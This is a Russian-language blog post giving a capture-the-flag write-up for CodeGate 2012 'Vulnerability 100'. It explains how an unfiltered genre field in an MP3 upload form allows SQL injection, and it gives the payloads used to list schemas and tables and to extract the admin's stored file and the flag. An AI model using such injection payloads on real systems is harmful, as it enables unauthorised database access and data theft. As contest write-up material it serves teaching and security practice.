Дмитрий DarkByte Москин

Мой блог, да.
logo

Vulnerability 100 - CodeGate 2012 write-up

Опубликовано 25.02.2012 автором Дмитрий Москин
Vulnerability #1
What is Administrator listening to the music?

Очень простой таск на SQL инъекции. На странице загрузки музыки, кроме самого файла, можно выбрать жанр и указать название. Поле с названием фильтруется, а вот жанр - нет. В качестве музыки достаточно передать файл размером 1 байт с расширением .mp3, других проверок на него нет.

После некоторых экспериментов, понимаем, что запрос выполняется примерно следующий:
INSERT INTO upload_mp3_YOUR_IP (id,file,genre,title) VALUES (...)

Т.е. инъекция будет выглядеть так:
1,(SELECT ...)) -- 

С её помощью получаем список баз
1,(SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA)) -- 

information_schema,codegate_mp3

Так как нужно узнать, какую музыку слушает админ, а под каждого пользователя создаётся отдельная таблица, то логичнее всего было бы получить имя таблицы, которая была создана раньше остальных
1,(SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_ROWS>0 ORDER by CREATE_TIME LIMIT 1)) -- 

upload_mp3_127_0_0_1

Аналогичным образом получаем список столбцов
id,genre,title,file

И затем содержимое
1,(SELECT title FROM upload_mp3_127_0_0_1)) -- 

1 1 admin`s_song 

Но с файлом выходит облом. Оказывается, он хранится прямо в базе в поле типа blob. Получаем его с помощью функции HEX и вот у нас уже есть файл adm.mp3 весом 32кб, длинной 2 секунды, где произносится слово "Congratulation".

Больше ничего интересного найти не удалось, ни в базе, ни в файле. Затем я попробовал запросить длину поля file, и оказалось, что файл весит ~300кб.

Чтобы получить файл полностью, используем множественный INSERT
1,0xFF),(null,(SELECT file FROM upload_mp3_127_0_0_1),1,0x30) -- 

Затем, через плеер скачиваем файл, и прослушав его полностью, получаем флаг: UPL04D4NDP14Y